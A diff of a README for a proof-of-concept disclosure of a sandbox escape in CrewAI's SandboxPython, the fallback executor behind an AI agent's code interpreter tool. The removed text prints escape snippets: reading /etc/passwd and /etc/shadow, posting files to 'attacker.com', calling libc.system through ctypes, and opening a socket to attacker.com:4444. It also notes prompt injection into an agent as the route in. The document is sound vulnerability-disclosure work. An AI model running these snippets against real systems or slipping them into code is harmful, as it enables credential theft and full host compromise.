PoC: SandboxPython escape via incomplete blocklist

README.md

@@ -1,120 +1,32 @@
-# CrewAI SandboxPython Escape — Incomplete Blocklist Allows Full RCE
+# CrewAI SandboxPython Escape PoC
 
-## Vulnerability Type
-CWE-693: Protection Mechanism Failure
-
-## Severity
-Critical
-
-## Affected Component
-- **Package:** `crewai-tools`
-- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
-- **Class:** `SandboxPython`
-- **Version:** Latest (`main` branch, verified 2026-03-22)
-
-## Description
-
-The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach — only explicitly listed items are denied.
+Proof of concept demonstrating that `SandboxPython` in CrewAI's `CodeInterpreterTool` has an incomplete module blocklist, allowing full sandbox escape.
 
-The blocklist is incomplete. **15 dangerous standard library modules** are not blocked, giving full sandbox escape: arbitrary file read/write, outbound network access, and native code execution.
+## The Bug
 
-### Blocked (9 modules)
-`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
+`SandboxPython` blocks 9 modules (`os`, `sys`, `subprocess`, etc.) but leaves **15 dangerous modules** importable: `pathlib`, `socket`, `http.client`, `ctypes`, `io`, `pickle`, `multiprocessing`, `threading`, `asyncio`, `urllib.request`, `signal`, `code`, `xml.etree`, `zipfile`, `tarfile`.
 
-### Not Blocked (15 modules — each enables escape)
-| Module | Capability |
-|--------|-----------|
-| `pathlib` | Arbitrary file read/write |
-| `socket` | Raw network connections |
-| `http.client` | HTTP requests to any host |
-| `urllib.request` | HTTP requests |
-| `ctypes` | Call any C function (`libc.system()`) |
-| `io` | File I/O — bypasses blocked `open` builtin |
-| `pickle` | Deserialization RCE |
-| `multiprocessing` | Spawn processes |
-| `threading` | Spawn threads |
-| `asyncio` | Async execution |
-| `signal` | Signal manipulation |
-| `code` | Interactive interpreter |
-| `xml.etree.ElementTree` | XML parsing |
-| `zipfile` | Archive manipulation |
-| `tarfile` | Archive extraction with path traversal |
+## Running the PoC
 
-## Proof of Concept
-
-Run `poc.py` — it reproduces the exact `SandboxPython` class from source, verifies that blocked modules are correctly denied, then demonstrates 5 independent escape paths.
-
-### Escape 1: File Read via `pathlib`
-```python
-# Inside SandboxPython.exec():
-data = __import__('pathlib').Path('/etc/passwd').read_text()
+```bash
+pip install crewai-tools
+python poc_sandbox_escape.py
 ```
 
-### Escape 2: Network Exfiltration via `http.client`
-```python
-# Inside SandboxPython.exec():
-import http.client
-conn = http.client.HTTPSConnection("attacker.com")
-conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
-conn.getresponse()
-```
+The PoC reproduces the exact `SandboxPython` class from source, verifies blocked modules are denied, then demonstrates 5 independent escapes:
 
-### Escape 3: File I/O via `io` (bypasses blocked `open` builtin)
-```python
-# 'open' is in UNSAFE_BUILTINS, but io.open is not blocked:
-f = __import__('io').open('/etc/shadow', 'r')
-print(f.read())
-```
+1. **File read** via `pathlib` — reads `/etc/hostname`
+2. **DNS resolution** via `socket` — resolves `example.com`
+3. **HTTP request** via `http.client` — GETs `httpbin.org/ip`
+4. **File I/O** via `io.open` — bypasses blocked `open` builtin
+5. **C calls** via `ctypes` — imports `ctypes.CDLL`
 
-### Escape 4: Native Code Execution via `ctypes`
-```python
-# Inside SandboxPython.exec():
-import ctypes
-libc = ctypes.CDLL("libc.so.6")
-libc.system(b"id > /tmp/pwned")
-```
-
-### Escape 5: Reverse Shell via `socket`
-```python
-# Inside SandboxPython.exec():
-import socket
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.connect(("attacker.com", 4444))
-```
+## Affected
 
-## Root Cause
-
-The sandbox uses a **blocklist** (deny specific modules) instead of an **allowlist** (permit only safe modules). Python's standard library contains hundreds of modules with dangerous capabilities. Blocking 9 while leaving 15+ dangerous ones accessible defeats the purpose of the sandbox.
-
-The sandbox's existence — with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function — proves the intent was to restrict code execution. The restriction simply doesn't work.
-
-## Impact
-
-Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
-
-1. **Arbitrary file read** — secrets, credentials, SSH keys, environment variables
-2. **Network exfiltration** — send stolen data to attacker server
-3. **Arbitrary command execution** — via `ctypes.CDLL("libc.so.6").system()`
-4. **Process spawning** — via `multiprocessing`
-5. **Full system compromise** — equivalent to unsandboxed `exec()`
-
-## Suggested Fix
-
-Switch to an **allowlist** approach:
-
-```python
-ALLOWED_MODULES = {
-    "math", "random", "statistics", "collections", "itertools",
-    "functools", "operator", "string", "re", "datetime", "json",
-    "csv", "hashlib", "base64", "decimal", "fractions",
-}
-
-@staticmethod
-def restricted_import(name, *args, **kwargs):
-    top_level = name.split('.')[0]
-    if top_level not in SandboxPython.ALLOWED_MODULES:
-        raise ImportError(f"Importing '{name}' is not allowed in sandbox.")
-    return __import__(name, *args, **kwargs)
-```
+- **Package:** `crewai-tools`
+- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
+- **Class:** `SandboxPython`
+- **Root cause:** Blocklist (9 modules) instead of allowlist
 
-Alternatively, make Docker-based execution the default and remove the Python-level sandbox entirely.
+## CWE
+CWE-693: Protection Mechanism Failure